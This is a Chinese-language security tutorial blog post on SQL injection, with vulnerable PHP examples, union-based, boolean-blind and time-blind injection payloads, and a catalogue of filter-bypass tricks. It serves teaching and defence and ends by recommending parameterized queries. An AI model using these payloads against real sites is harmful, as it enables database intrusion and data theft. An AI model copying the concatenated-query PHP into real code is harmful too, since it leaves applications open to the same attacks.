前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解

【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解

原创
作者头像
sidiot
修改于 2023-08-27 00:09:18
修改于 2023-08-27 00:09:18
1.6K0
举报
文章被收录于专栏:技术大杂烩技术大杂烩

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

信息搜集

信息搜集在 SQL 注入攻击中扮演着重要的角色,它为攻击者提供了关键的目标数据库和应用程序信息,帮助攻击者更好地进行后续的攻击操作。

信息搜集主要包括以下几个方面:

  1. 识别和了解目标数据库:获取目标数据库的类型、版本、表结构、列名以及其他关键信息。
  2. 获取敏感信息:获取目标数据库中的敏感信息,如用户名、密码、用户权限、财务信息等。
  3. 发现漏洞和弱点:发现目标应用程序的漏洞和弱点,如不安全的输入验证、不当的错误处理机制等。
  4. 判断注入点和注入类型:确定目标应用程序存在的注入点,即用户输入数据直接或间接进入 SQL 语句的位置。同时,了解到目标应用程序的数据库交互方式(如直接构造 SQL 语句、使用存储过程等),从而选择最适合的注入类型和方法。

使用以下一些指令获取相关信息:

1、select version():获取数据库版本;

2、select user():获取数据库用户名;

3、select database():获取数据库名;

4、select @@datadir:获取数据库路径;

5、select @@version_compile_os:获取操作系统版本;

注入入门

基础注入

假设一个网站的部分源码如下所示:

代码语言:php
AI代码解释
复制
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
  while ($row = mysql_fetch_assoc($result))
    echo "<tr>";
  echo "<td>".$row['id']."</td>";
  echo "<td>".$row['name']."</td>";
  echo "<td>".$row['age']."</td>";
  echo "</tr>";
}
echo "</table>";

那么我们根据其 SQL 语句 SELECT * FROM users where name=' 进行正常查询时,可以发现不管有没有这个用户名 name,最终都会显示出结果,运行结果如下:

那么我们据此构造一些恶意语句,比如说使用 union 进行联合查询,使用 union 需要保证前后查询的字段数量保持一致,否则会报错,运行结果如下所示:

那么根据上述原理,我们可以匹配出网页源码中 SQL 语句里的 * 代表着 5 个字段,运行结果如下所示:

我们可以构造 SQL 收集一些信息,比如 admin union select version(),user(),database(),4,5--+,运行结果如下:

SQL 盲注

SQL 盲注是指在进行网络安全测试或攻击时,攻击者通过检测系统的响应来确定系统中存在的漏洞或薄弱点的一种方法。攻击者通常会发送特定的请求到目标系统,并观察系统的响应,如果响应的结果与预期不符,那么可能存在漏洞。通过不断尝试不同的请求和观察响应,攻击者可以逐步获得关于目标系统的信息,并利用这些信息进行进一步的攻击。

假设一个网站的部分源码如下所示:

代码语言:php
AI代码解释
复制
$sql = "SELECT * FROM users ORDER BY `";                         
$sql = mysql_real_escape_string($_GET["order"])."`";            
$result = mysql_query($sql);         

接下来我们将采用布尔盲注和时间盲注的方式进行攻击。

布尔盲注

布尔盲注是指在进行 SQL 注入时,根据返回的结果是 True 或者是 False 来得到数据库中的相关信息。

由于网站源码是对 order by 进行了拼接,因此我们不能再使用 union 等方法进行注入,而且这里并没有报错输出,因此采用布尔盲注的方式,为了方便调试,接下来将以 BP 抓包的形式展现。

首先是正常的进行请求,运行结果如下:

接下来使用布尔盲注,因为上个例子已经知道数据库名是 exercises,因此这里就不做过多猜测,注入语句如下:

代码语言:sql
AI代码解释
复制
order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))

解释一下上述的 SQL 语句,这句 SQL 的目的是通过判断数据库名的第一个字符的 ASCII 码值是否大于100(e 是101),来实现一个条件查询的排序。如果第一个字符的 ASCII 码值大于100,则按照字段名 name (0x6e616d65)升序排序,否则按照括号字符 ( (0x28)的 ASCII 码值来排序。

同时,这句 SQL 中使用了一些函数和技巧:

  • MID() 函数用于提取字符串的部分字符。
  • IFNULL() 函数用于判断数据库名是否为空,如果为空,则返回一个空格字符 "0x20"。
  • CAST() 函数用于将数据库名转换为 NCHAR 类型。
  • ORD() 函数用于获取一个字符的 ASCII 码值。
  • CASE WHEN 语句用于判断 ASCII 码值是否大于100。

运行结果:

推断数据库名的第二个字符的 SQL 语句如下:

代码语言:sql
AI代码解释
复制
order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))

接下来以此类推就可以了。

时间盲注

除了布尔盲注之外,还存在其他的盲注方式,比如时间盲注。

时间盲注是指攻击者向目标应用程序发送恶意的请求时,如果存在时间盲注漏洞,应用程序可能会有不同的响应时间。

正常查询时,所需时间如下:

构造时间盲注的 SQL 语句:

代码语言:sql
AI代码解释
复制
order=age` and if(ascii(substr(database(),1,1))=101,sleep(1),1)--+

运行结果:

绕过方式

为了避免 SQL 注入攻击,应用程序会对输入数据进行适当的验证和过滤,而 hacker 会绞尽脑汁地想办法去进行绕过,以下是一些常见的绕过方式。

空格被过滤

1、使用 /*xxx*/ 行内注释或者 () 进行绕过:

代码语言:sql
AI代码解释
复制
SELECT/*1*/username,password/*1*/FROM/*1*/users;

SELECT(username),(password)FROM(users);

2、使用 %09 %0a %0b %0c %0d %a0 等不可见字符进行绕过:

  • %09:TAB 键(水平);
  • %0a:新建一行;
  • %0b:TAB 键(垂直);
  • %0c:新的一页;
  • %0d:return 功能;
  • %a0:空格;

假设一个网站的部分源码如下所示:

代码语言:php
AI代码解释
复制
if (preg_match('/ /', $_GET["name"])) {
    die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);

如果是正常注入的话,会发现空格被过滤了,导致注入失败:

因此,我们需要使用不可见字符替换空格,下面将使用 %a0 进行替换:

引号被过滤

使用十六进制代替字符串,比如将 sidiot 的十六进制表示为 0x736964696f74:

代码语言:sql
AI代码解释
复制
SELECT username, password FROM users WHERE username=0x736964696f74

逗号被过滤

1、使用 from for 代替逗号:

代码语言:sql
AI代码解释
复制
# 替换前
select substr(database(),1,1);

# 替换后
select substr(database() from 1 for 1);

2、使用 join 代替逗号:

代码语言:sql
AI代码解释
复制
# 替换前
select 1,2;

# 替换后
select * from (select 1)a join (select 2)b;

3、使用 offset 代替逗号:

代码语言:sql
AI代码解释
复制
# 替换前
select * from users limit 0,1;

# 替换后
select * from users limit 1 offset 0;

比较符号被过滤

1、用 like, rlike, regexp 代替 =

代码语言:sql
AI代码解释
复制
select * from users where username like 'sidiot';

select * from users where username rlike 'sidiot';

select * from users where username regexp 'sidiot';

2、用 greatest()、least() 代替 <>

代码语言:sql
AI代码解释
复制
# 替换前
select * from users where id=1 and ascii(substr(database(),0,1))<64;

# 替换后
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;

select * from users where id=1 and least(ascii(substr(database(),1,1)),64)=64;

or/and/xor/not 被过滤

  1. and = &&
  2. or = ||
  3. xor = |
  4. not = !

常用函数被过滤

  1. hex()、bin() = ascii()
  2. sleep() = benchmark()
  3. concat_ws() = group_concat()
  4. mid()、substr() = substring()
  5. @@user = user()
  6. @@datadir = datadir()

【选题思路】

通过本文的讲解,希望读者对 SQL 注入漏洞有了更深入的理解。了解信息搜集在 SQL 注入过程中的重要性,并知道一些基础的入门注入技巧和常用的绕过注入方法。同时,本文想要让读者要意识到 SQL 注入对系统安全造成的严重威胁,在设计和开发阶段就采取必要的安全措施,例如使用参数化查询和限制权限访问等,建立更安全的应用程序,并保护数据的安全性。

【写作提纲】

  1. 介绍信息搜集的作用以做法;
  2. 对 SQL 注入进行入门介绍; 2.1. 基础注入介绍; 2.2. SQL 盲注介绍:布尔盲注与时间盲注;
  3. 介绍常用的绕过方式; 3.1. 空格饶过; 3.2. 引号绕过; 3.3. 逗号绕过; 3.4. 比较符号绕过; 3.5. 逻辑符号绕过; 3.6. 常用函数绕过;
  4. 总结

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
【高薪程序员必看】万字长文拆解Java并发编程!(7):不可变类设计指南
成员变量保存的数据也可以成为状态信息,因此没有成员变量的类也称为无状态类,是线程安全的
摘星.
2025/05/20
550
3分钟快速阅读-《Effective Java》(七)
61.抛出与抽象相对应的异常 总而言之,如果不能阻止或者处理来自更底层的异常,一般的做法就是进行异常转译,异常转译就是高层捕获底层异常进行处理,或者把它转化层高层相同业务逻辑的异常. 62.每个方法抛出的异常都要有文档 简单来说对于异常可能出现的情况进行尽可能的声明,这样让调用你的人才能知道要怎么来使用对应的方法 63.在细节消息中包含能捕获失败的信息 简单来说,对于可能出现业务逻辑异常处应当做好对应的日志记录,这样才能更好的跟踪有些我们无法预料捕获而是由程序帮我们抛出的异常信息 64.
cwl_java
2019/10/26
3720
Effective Java通俗理解(上)
  这篇博客是Java经典书籍《Effective Java(第二版)》的读书笔记,此书共有78条关于编写高质量Java代码的建议,我会试着逐一对其进行更为通俗易懂地讲解,故此篇博客的更新大约会持续1个月左右。 第1条:考虑用静态工厂方法代替构造器   通常情况下我们会利用类的构造器对其进行实例化,这似乎毫无疑问。但“静态工厂方法”也需要引起我们的高度注意。   什么是“静态工厂方法”?这不同于设计模式中的工厂方法,我们可以理解它为“在一个类中用一个静态方法来返回这个类的实例”,例如: public st
用户1148394
2018/01/12
1.5K0
Effective Java通俗理解(上)
多线程设计模式解读5—Immutable Object(不可变对象)模式
前面讲了Producer-Consumer模式,它有许多变种,我们以后会讲。我们将接着了解另外一种分支的设计模式,前面所讲的所有的模式,都是要用到锁的,而锁是会带来一些额外的开销和问题的,那么能不能不通过锁,实现多线程环境下的线程安全呢?其中一个思路就是通过Immutable Object(不可变对象)模式。它使用对外可见的不可变对象,天生具有线程安全的“基因”。因为与多线程的原子性、可见性相关的问题(如失效数据、丢失更新操作、对象处于不一致状态等)都与多线程试图同时访问同一个可变状态相关,若对象状态不可变,那这些问题也就不存在了。
java达人
2018/10/08
7200
多线程设计模式解读5—Immutable Object(不可变对象)模式
Objects, Immutability, and Switch Expressions 49-57
本文为《Java Coding Problems》49-57题,问题涉及Objects, Immutability, and Switch Expressions (共18题 40-57)。
luoheng
2022/10/29
2560
并行设计模式--immutable模式
线程不安全的原因是共享了变量且对该共享变量的操作存在原子性、可见性等问题,因此一种解决思路就是构造不可变的对象,没有修改操作也就不存在并发竞争,自然也不需要额外的锁,同步等操作,这种设计叫做immutable object模式,本文主要理解这种模式,并学习如何实现一个较好的immutable类。
屈定
2018/09/27
9120
​ 🚀 掌握Lombok:Java开发者的瑞士军刀,让代码飞起来! 🚀
Java,这个拥有悠久历史的编程语言,一直在不断地进化。而在这个进化的过程中,有许多工具和库的出现,极大地提高了开发者的效率。今天,我们要聊的就是其中的一个神器——Lombok。如果你还没有听说过Lombok,或者只是浅尝辄止,那么这篇文章将会是你深入理解并掌握Lombok的起点。准备好了吗?让我们一起探索Lombok的高级知识点,让你的代码更加简洁、高效!
疯狂的KK
2024/04/16
4080
​ 🚀 掌握Lombok:Java开发者的瑞士军刀,让代码飞起来! 🚀
四、原型模式与建造者模式详解
原型模式(PrototypePattern)是指原型实例指定创建对象的种类,并且通过拷贝这些原型创建新的对象,属于创建型模式。
编程之心
2020/08/12
5980
四、原型模式与建造者模式详解
超越 DTO:探索 Java Record
如果你跟得上 Java 的发布节奏并且知道最新的 LTS 版本 Java 17,那么你可以了解一下支持不可变类的 Record 特性。
深度学习与Python
2023/09/08
8390
超越 DTO:探索 Java Record
笔记《Effective Java》03(上):类和接口
《Effective Java》这本书可以说是程序员必读的书籍之一。这本书讲述了一些优雅的,高效的编程技巧。对一些方法或API的调用有独到的见解,还是值得一看的。刚好最近重拾这本书,看的是第三版,顺手整理了一下笔记,用于自己归纳总结使用。建议多读一下原文。今天整理第三章节:类和接口。
有一只柴犬
2025/04/02
710
笔记《Effective Java》03(上):类和接口
笔记《Effective Java》01: 创建和销毁对象
《Effective Java》这本书可以说是程序员必读的书籍之一。这本书讲述了一些优雅的,高效的编程技巧。对一些方法或API的调用有独到的见解,还是值得一看的。刚好最近重拾这本书,看的是第三版,顺手整理了一下笔记,用于自己归纳总结使用。建议多读一下原文。今天整理第一章节:创建和销毁对象。
有一只柴犬
2025/01/24
910
笔记《Effective Java》01: 创建和销毁对象
java安全编码指南之:Mutability可变性
mutable(可变)和immutable(不可变)对象是我们在java程序编写的过程中经常会使用到的。
程序那些事
2020/09/04
4830
java安全编码指南之:Mutability可变性
《Effective Java 》系列一
编写实例受控类有几个原因。实例受控使得类可以确保他是一个Singleton或者是不可实例化的。他还使得不可变类可以确保不会存在两个相等的实例。
高广超
2018/12/12
8670
一文读懂《Effective Java》第5条:避免创建不必要的对象 & 性能优化
一般来说,最好能重用对象,而不是在每次需要的时候创建同一个相同功能的新对象。重用对象是快速又高效的一种编码手段。
后台技术汇
2022/05/28
3170
Effective.Java 读书笔记(5)复用对象
通常来说我们每次重复使用一个对象是比重新创建一个功能上相等的对象更为合适的,复用可以更快并且更加优雅,当一个对象是不变的(Immutable)时候可以被经常重用
Mezereon
2018/09/13
4660
设计模式~原始模型模式(二)
为做到深复制,所有需要复制的对象需要实现 java.io.Serializable接口。
Vincent-yuan
2020/08/17
3570
设计模式~原始模型模式(二)
程序员:并发下如何保证共享变量安全且不用锁?!
上面这段代码,大家应该都能看出是非线程安全的对吧(如果你看不出来,翻上一篇文章复习下)
Java猫说
2019/09/27
1.1K0
程序员:并发下如何保证共享变量安全且不用锁?!
并发设计模式实战系列(7):Thread Local Storage (TLS)
今天为大家带来的是并发设计模式实战系列,第七章Thread Local Storage (TLS),废话不多说直接开始~
摘星.
2025/05/20
1030
java与es8实战之一:以builder pattern开篇
欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码):https://github.com/zq2599/blog_demos 关于《java与es8实战》系列 《java与es8实战》系列是欣宸与2022年夏季推出的原创系列,如标题所述,该系列从一个java程序员视角去学习和实践elasticsearch的8.2版本,目标是与大家一起掌握与elasticsearch开发相关的技能,以应对实际应用中的需求和挑战 本篇概览 纵观欣宸过往各种系列文章,开篇无外乎两种套路 第一种是对该系列的主
程序员欣宸
2022/06/19
6870
java与es8实战之一:以builder pattern开篇
走进 JDK 之 String
贯穿全文,你需要始终记住这句话,String 是不可变类 。其实前面说过的所有基本数据类型包装类都是不可变类,但是在 String 的源码中,不可变类 的概念体现的更加淋漓尽致。所以,在阅读 String 源码的同时,抽丝剥茧,你会对不可变类有更深的理解。
路遥TM
2021/08/31
3150
推荐阅读
相关推荐
【高薪程序员必看】万字长文拆解Java并发编程!(7):不可变类设计指南
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档